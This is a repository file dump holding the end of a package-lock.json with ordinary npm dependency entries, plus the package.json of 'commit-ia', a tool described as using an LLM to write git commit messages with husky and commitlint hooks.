584 | "path-exists": "^5.0.0",
585 | "unicorn-magic": "^0.1.0"
586 | },
587 | "engines": {
588 | "node": ">=18"
589 | },
590 | "funding": {
591 | "url": "https://github.com/sponsors/sindresorhus"
592 | }
593 | },
594 | "node_modules/get-caller-file": {
595 | "version": "2.0.5",
596 | "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
597 | "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
598 | "license": "ISC",
599 | "engines": {
600 | "node": "6.* || 8.* || >= 10.*"
601 | }
602 | },
603 | "node_modules/git-raw-commits": {
604 | "version": "4.0.0",
605 | "resolved": "https://registry.npmjs.org/git-raw-commits/-/git-raw-commits-4.0.0.tgz",
606 | "integrity": "sha512-ICsMM1Wk8xSGMowkOmPrzo2Fgmfo4bMHLNX6ytHjajRJUqvHOw/TFapQ+QG75c3X/tTDDhOSRPGC52dDbNM8FQ==",
607 | "license": "MIT",
608 | "dependencies": {
609 | "dargs": "^8.0.0",
610 | "meow": "^12.0.1",
611 | "split2": "^4.0.0"
612 | },
613 | "bin": {
614 | "git-raw-commits": "cli.mjs"
615 | },
616 | "engines": {
617 | "node": ">=16"
618 | }
619 | },
620 | "node_modules/global-directory": {
621 | "version": "4.0.1",
622 | "resolved": "https://registry.npmjs.org/global-directory/-/global-directory-4.0.1.tgz",
623 | "integrity": "sha512-wHTUcDUoZ1H5/0iVqEudYW4/kAlN5cZ3j/bXn0Dpbizl9iaUVeWSHqiOjsgk6OW2bkLclbBjzewBz6weQ1zA2Q==",
624 | "license": "MIT",
625 | "dependencies": {
626 | "ini": "4.1.1"
627 | },
628 | "engines": {
629 | "node": ">=18"
630 | },
631 | "funding": {
632 | "url": "https://github.com/sponsors/sindresorhus"
633 | }
634 | },
635 | "node_modules/husky": {
636 | "version": "9.1.7",
637 | "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz",
638 | "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==",
639 | "license": "MIT",
640 | "bin": {
641 | "husky": "bin.js"
642 | },
643 | "engines": {
644 | "node": ">=18"
645 | },
646 | "funding": {
647 | "url": "https://github.com/sponsors/typicode"
648 | }
649 | },
650 | "node_modules/import-fresh": {
651 | "version": "3.3.1",
652 | "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
653 | "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
654 | "license": "MIT",
655 | "dependencies": {
656 | "parent-module": "^1.0.0",
657 | "resolve-from": "^4.0.0"
658 | },
659 | "engines": {
660 | "node": ">=6"
661 | },
662 | "funding": {
663 | "url": "https://github.com/sponsors/sindresorhus"
664 | }
665 | },
666 | "node_modules/import-fresh/node_modules/resolve-from": {
667 | "version": "4.0.0",
668 | "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
669 | "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
670 | "license": "MIT",
671 | "engines": {
672 | "node": ">=4"
673 | }
674 | },
675 | "node_modules/import-meta-resolve": {
676 | "version": "4.1.0",
677 | "resolved": "https://registry.npmjs.org/import-meta-resolve/-/import-meta-resolve-4.1.0.tgz",
678 | "integrity": "sha512-I6fiaX09Xivtk+THaMfAwnA3MVA5Big1WHF1Dfx9hFuvNIWpXnorlkzhcQf6ehrqQiiZECRt1poOAkPmer3ruw==",
679 | "license": "MIT",
680 | "funding": {
681 | "type": "github",
682 | "url": "https://github.com/sponsors/wooorm"
683 | }
684 | },
685 | "node_modules/ini": {
686 | "version": "4.1.1",
687 | "resolved": "https://registry.npmjs.org/ini/-/ini-4.1.1.tgz",
688 | "integrity": "sha512-QQnnxNyfvmHFIsj7gkPcYymR8Jdw/o7mp5ZFihxn6h8Ci6fh3Dx4E1gPjpQEpIuPo9XVNY/ZUwh4BPMjGyL01g==",
689 | "license": "ISC",
690 | "engines": {
691 | "node": "^14.17.0 || ^16.13.0 || >=18.0.0"
692 | }
693 | },
694 | "node_modules/is-arrayish": {
695 | "version": "0.2.1",
696 | "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
697 | "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
698 | "license": "MIT"
699 | },
700 | "node_modules/is-fullwidth-code-point": {
701 | "version": "3.0.0",
702 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
703 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
704 | "license": "MIT",
705 | "engines": {
706 | "node": ">=8"
707 | }
708 | },
709 | "node_modules/is-obj": {
710 | "version": "2.0.0",
711 | "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
712 | "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==",
713 | "license": "MIT",
714 | "engines": {
715 | "node": ">=8"
716 | }
717 | },
718 | "node_modules/is-text-path": {
719 | "version": "2.0.0",
720 | "resolved": "https://registry.npmjs.org/is-text-path/-/is-text-path-2.0.0.tgz",
721 | "integrity": "sha512-+oDTluR6WEjdXEJMnC2z6A4FRwFoYuvShVVEGsS7ewc0UTi2QtAKMDJuL4BDEVt+5T7MjFo12RP8ghOM75oKJw==",
722 | "license": "MIT",
723 | "dependencies": {
724 | "text-extensions": "^2.0.0"
725 | },
726 | "engines": {
727 | "node": ">=8"
728 | }
729 | },
730 | "node_modules/jiti": {
731 | "version": "2.4.2",
732 | "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.4.2.tgz",
733 | "integrity": "sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A==",
734 | "license": "MIT",
735 | "bin": {
736 | "jiti": "lib/jiti-cli.mjs"
737 | }
738 | },
739 | "node_modules/js-tokens": {
740 | "version": "4.0.0",
741 | "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
742 | "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
743 | "license": "MIT"
744 | },
745 | "node_modules/js-yaml": {
746 | "version": "4.1.0",
747 | "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
748 | "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
749 | "license": "MIT",
750 | "dependencies": {
751 | "argparse": "^2.0.1"
752 | },
753 | "bin": {
754 | "js-yaml": "bin/js-yaml.js"
755 | }
756 | },
757 | "node_modules/json-parse-even-better-errors": {
758 | "version": "2.3.1",
759 | "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
760 | "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
761 | "license": "MIT"
762 | },
763 | "node_modules/json-schema-traverse": {
764 | "version": "1.0.0",
765 | "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
766 | "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
767 | "license": "MIT"
768 | },
769 | "node_modules/jsonparse": {
770 | "version": "1.3.1",
771 | "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz",
772 | "integrity": "sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==",
773 | "engines": [
774 | "node >= 0.2.0"
775 | ],
776 | "license": "MIT"
777 | },
778 | "node_modules/JSONStream": {
779 | "version": "1.3.5",
780 | "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz",
781 | "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==",
782 | "license": "(MIT OR Apache-2.0)",
783 | "dependencies": {
784 | "jsonparse": "^1.2.0",
785 | "through": ">=2.2.7 <3"
786 | },
787 | "bin": {
788 | "JSONStream": "bin.js"
789 | },
790 | "engines": {
791 | "node": "*"
792 | }
793 | },
794 | "node_modules/lines-and-columns": {
795 | "version": "1.2.4",
796 | "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
797 | "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
798 | "license": "MIT"
799 | },
800 | "node_modules/locate-path": {
801 | "version": "7.2.0",
802 | "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-7.2.0.tgz",
803 | "integrity": "sha512-gvVijfZvn7R+2qyPX8mAuKcFGDf6Nc61GdvGafQsHL0sBIxfKzA+usWn4GFC/bk+QdwPUD4kWFJLhElipq+0VA==",
804 | "license": "MIT",
805 | "dependencies": {
806 | "p-locate": "^6.0.0"
807 | },
808 | "engines": {
809 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
810 | },
811 | "funding": {
812 | "url": "https://github.com/sponsors/sindresorhus"
813 | }
814 | },
815 | "node_modules/lodash.camelcase": {
816 | "version": "4.3.0",
817 | "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
818 | "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==",
819 | "license": "MIT"
820 | },
821 | "node_modules/lodash.isplainobject": {
822 | "version": "4.0.6",
823 | "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
824 | "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
825 | "license": "MIT"
826 | },
827 | "node_modules/lodash.kebabcase": {
828 | "version": "4.1.1",
829 | "resolved": "https://registry.npmjs.org/lodash.kebabcase/-/lodash.kebabcase-4.1.1.tgz",
830 | "integrity": "sha512-N8XRTIMMqqDgSy4VLKPnJ/+hpGZN+PHQiJnSenYqPaVV/NCqEogTnAdZLQiGKhxX+JCs8waWq2t1XHWKOmlY8g==",
831 | "license": "MIT"
832 | },
833 | "node_modules/lodash.merge": {
834 | "version": "4.6.2",
835 | "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
836 | "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
837 | "license": "MIT"
838 | },
839 | "node_modules/lodash.mergewith": {
840 | "version": "4.6.2",
841 | "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz",
842 | "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==",
843 | "license": "MIT"
844 | },
845 | "node_modules/lodash.snakecase": {
846 | "version": "4.1.1",
847 | "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz",
848 | "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==",
849 | "license": "MIT"
850 | },
851 | "node_modules/lodash.startcase": {
852 | "version": "4.4.0",
853 | "resolved": "https://registry.npmjs.org/lodash.startcase/-/lodash.startcase-4.4.0.tgz",
854 | "integrity": "sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==",
855 | "license": "MIT"
856 | },
857 | "node_modules/lodash.uniq": {
858 | "version": "4.5.0",
859 | "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
860 | "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==",
861 | "license": "MIT"
862 | },
863 | "node_modules/lodash.upperfirst": {
864 | "version": "4.3.1",
865 | "resolved": "https://registry.npmjs.org/lodash.upperfirst/-/lodash.upperfirst-4.3.1.tgz",
866 | "integrity": "sha512-sReKOYJIJf74dhJONhU4e0/shzi1trVbSWDOhKYE5XV2O+H7Sb2Dihwuc7xWxVl+DgFPyTqIN3zMfT9cq5iWDg==",
867 | "license": "MIT"
868 | },
869 | "node_modules/meow": {
870 | "version": "12.1.1",
871 | "resolved": "https://registry.npmjs.org/meow/-/meow-12.1.1.tgz",
872 | "integrity": "sha512-BhXM0Au22RwUneMPwSCnyhTOizdWoIEPU9sp0Aqa1PnDMR5Wv2FGXYDjuzJEIX+Eo2Rb8xuYe5jrnm5QowQFkw==",
873 | "license": "MIT",
874 | "engines": {
875 | "node": ">=16.10"
876 | },
877 | "funding": {
878 | "url": "https://github.com/sponsors/sindresorhus"
879 | }
880 | },
881 | "node_modules/minimist": {
882 | "version": "1.2.8",
883 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
884 | "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
885 | "license": "MIT",
886 | "funding": {
887 | "url": "https://github.com/sponsors/ljharb"
888 | }
889 | },
890 | "node_modules/p-limit": {
891 | "version": "4.0.0",
892 | "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-4.0.0.tgz",
893 | "integrity": "sha512-5b0R4txpzjPWVw/cXXUResoD4hb6U/x9BH08L7nw+GN1sezDzPdxeRvpc9c433fZhBan/wusjbCsqwqm4EIBIQ==",
894 | "license": "MIT",
895 | "dependencies": {
896 | "yocto-queue": "^1.0.0"
897 | },
898 | "engines": {
899 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
900 | },
901 | "funding": {
902 | "url": "https://github.com/sponsors/sindresorhus"
903 | }
904 | },
905 | "node_modules/p-locate": {
906 | "version": "6.0.0",
907 | "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-6.0.0.tgz",
908 | "integrity": "sha512-wPrq66Llhl7/4AGC6I+cqxT07LhXvWL08LNXz1fENOw0Ap4sRZZ/gZpTTJ5jpurzzzfS2W/Ge9BY3LgLjCShcw==",
909 | "license": "MIT",
910 | "dependencies": {
911 | "p-limit": "^4.0.0"
912 | },
913 | "engines": {
914 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
915 | },
916 | "funding": {
917 | "url": "https://github.com/sponsors/sindresorhus"
918 | }
919 | },
920 | "node_modules/parent-module": {
921 | "version": "1.0.1",
922 | "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
923 | "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
924 | "license": "MIT",
925 | "dependencies": {
926 | "callsites": "^3.0.0"
927 | },
928 | "engines": {
929 | "node": ">=6"
930 | }
931 | },
932 | "node_modules/parse-json": {
933 | "version": "5.2.0",
934 | "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
935 | "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
936 | "license": "MIT",
937 | "dependencies": {
938 | "@babel/code-frame": "^7.0.0",
939 | "error-ex": "^1.3.1",
940 | "json-parse-even-better-errors": "^2.3.0",
941 | "lines-and-columns": "^1.1.6"
942 | },
943 | "engines": {
944 | "node": ">=8"
945 | },
946 | "funding": {
947 | "url": "https://github.com/sponsors/sindresorhus"
948 | }
949 | },
950 | "node_modules/path-exists": {
951 | "version": "5.0.0",
952 | "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-5.0.0.tgz",
953 | "integrity": "sha512-RjhtfwJOxzcFmNOi6ltcbcu4Iu+FL3zEj83dk4kAS+fVpTxXLO1b38RvJgT/0QwvV/L3aY9TAnyv0EOqW4GoMQ==",
954 | "license": "MIT",
955 | "engines": {
956 | "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
957 | }
958 | },
959 | "node_modules/picocolors": {
960 | "version": "1.1.1",
961 | "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
962 | "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
963 | "license": "ISC"
964 | },
965 | "node_modules/require-directory": {
966 | "version": "2.1.1",
967 | "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
968 | "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
969 | "license": "MIT",
970 | "engines": {
971 | "node": ">=0.10.0"
972 | }
973 | },
974 | "node_modules/require-from-string": {
975 | "version": "2.0.2",
976 | "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
977 | "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
978 | "license": "MIT",
979 | "engines": {
980 | "node": ">=0.10.0"
981 | }
982 | },
983 | "node_modules/resolve-from": {
984 | "version": "5.0.0",
985 | "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
986 | "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
987 | "license": "MIT",
988 | "engines": {
989 | "node": ">=8"
990 | }
991 | },
992 | "node_modules/semver": {
993 | "version": "7.7.1",
994 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.1.tgz",
995 | "integrity": "sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==",
996 | "license": "ISC",
997 | "bin": {
998 | "semver": "bin/semver.js"
999 | },
1000 | "engines": {
1001 | "node": ">=10"
1002 | }
1003 | },
1004 | "node_modules/split2": {
1005 | "version": "4.2.0",
1006 | "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz",
1007 | "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==",
1008 | "license": "ISC",
1009 | "engines": {
1010 | "node": ">= 10.x"
1011 | }
1012 | },
1013 | "node_modules/string-width": {
1014 | "version": "4.2.3",
1015 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
1016 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
1017 | "license": "MIT",
1018 | "dependencies": {
1019 | "emoji-regex": "^8.0.0",
1020 | "is-fullwidth-code-point": "^3.0.0",
1021 | "strip-ansi": "^6.0.1"
1022 | },
1023 | "engines": {
1024 | "node": ">=8"
1025 | }
1026 | },
1027 | "node_modules/strip-ansi": {
1028 | "version": "6.0.1",
1029 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
1030 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
1031 | "license": "MIT",
1032 | "dependencies": {
1033 | "ansi-regex": "^5.0.1"
1034 | },
1035 | "engines": {
1036 | "node": ">=8"
1037 | }
1038 | },
1039 | "node_modules/text-extensions": {
1040 | "version": "2.4.0",
1041 | "resolved": "https://registry.npmjs.org/text-extensions/-/text-extensions-2.4.0.tgz",
1042 | "integrity": "sha512-te/NtwBwfiNRLf9Ijqx3T0nlqZiQ2XrrtBvu+cLL8ZRrGkO0NHTug8MYFKyoSrv/sHTaSKfilUkizV6XhxMJ3g==",
1043 | "license": "MIT",
1044 | "engines": {
1045 | "node": ">=8"
1046 | },
1047 | "funding": {
1048 | "url": "https://github.com/sponsors/sindresorhus"
1049 | }
1050 | },
1051 | "node_modules/through": {
1052 | "version": "2.3.8",
1053 | "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
1054 | "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
1055 | "license": "MIT"
1056 | },
1057 | "node_modules/tinyexec": {
1058 | "version": "0.3.2",
1059 | "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz",
1060 | "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==",
1061 | "license": "MIT"
1062 | },
1063 | "node_modules/typescript": {
1064 | "version": "5.8.3",
1065 | "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.3.tgz",
1066 | "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==",
1067 | "license": "Apache-2.0",
1068 | "peer": true,
1069 | "bin": {
1070 | "tsc": "bin/tsc",
1071 | "tsserver": "bin/tsserver"
1072 | },
1073 | "engines": {
1074 | "node": ">=14.17"
1075 | }
1076 | },
1077 | "node_modules/undici-types": {
1078 | "version": "6.21.0",
1079 | "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
1080 | "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
1081 | "license": "MIT"
1082 | },
1083 | "node_modules/unicorn-magic": {
1084 | "version": "0.1.0",
1085 | "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz",
1086 | "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==",
1087 | "license": "MIT",
1088 | "engines": {
1089 | "node": ">=18"
1090 | },
1091 | "funding": {
1092 | "url": "https://github.com/sponsors/sindresorhus"
1093 | }
1094 | },
1095 | "node_modules/wrap-ansi": {
1096 | "version": "7.0.0",
1097 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
1098 | "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
1099 | "license": "MIT",
1100 | "dependencies": {
1101 | "ansi-styles": "^4.0.0",
1102 | "string-width": "^4.1.0",
1103 | "strip-ansi": "^6.0.0"
1104 | },
1105 | "engines": {
1106 | "node": ">=10"
1107 | },
1108 | "funding": {
1109 | "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
1110 | }
1111 | },
1112 | "node_modules/y18n": {
1113 | "version": "5.0.8",
1114 | "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
1115 | "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
1116 | "license": "ISC",
1117 | "engines": {
1118 | "node": ">=10"
1119 | }
1120 | },
1121 | "node_modules/yargs": {
1122 | "version": "17.7.2",
1123 | "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
1124 | "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
1125 | "license": "MIT",
1126 | "dependencies": {
1127 | "cliui": "^8.0.1",
1128 | "escalade": "^3.1.1",
1129 | "get-caller-file": "^2.0.5",
1130 | "require-directory": "^2.1.1",
1131 | "string-width": "^4.2.3",
1132 | "y18n": "^5.0.5",
1133 | "yargs-parser": "^21.1.1"
1134 | },
1135 | "engines": {
1136 | "node": ">=12"
1137 | }
1138 | },
1139 | "node_modules/yargs-parser": {
1140 | "version": "21.1.1",
1141 | "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
1142 | "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
1143 | "license": "ISC",
1144 | "engines": {
1145 | "node": ">=12"
1146 | }
1147 | },
1148 | "node_modules/yocto-queue": {
1149 | "version": "1.2.1",
1150 | "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.2.1.tgz",
1151 | "integrity": "sha512-AyeEbWOu/TAXdxlV9wmGcR0+yh2j3vYPGOECcIj2S7MkrLyC7ne+oye2BKTItt0ii2PHk4cDy+95+LshzbXnGg==",
1152 | "license": "MIT",
1153 | "engines": {
1154 | "node": ">=12.20"
1155 | },
1156 | "funding": {
1157 | "url": "https://github.com/sponsors/sindresorhus"
1158 | }
1159 | }
1160 | }
1161 | }
1162 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "commit-ia",
3 | "version": "1.0.0",
4 | "description": "CommitIA é uma ferramenta em Go que utiliza llm para analisar mudanças no código e gerar mensagens de commit claras e descritivas. Simplifique o processo de criação de commits no Git com mensagens automáticas ou ajustadas ao contexto fornecido.",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1",
8 | "prepare": "husky",
9 | "commitlint": "commitlint --edit"
10 | },
11 | "repository": {
12 | "type": "git",
13 | "url": "git@github.com-wendellast:HublastX/Commit-IA.git"
14 | },
15 | "keywords": [],
16 | "author": "",
17 | "license": "ISC",
18 | "dependencies": {
19 | "husky": "^9.1.7",
20 | "@commitlint/cli": "^19.8.0",
21 | "@commitlint/config-conventional": "^19.8.0"
22 | }
23 | }
24 |
--------------------------------------------------------------------------------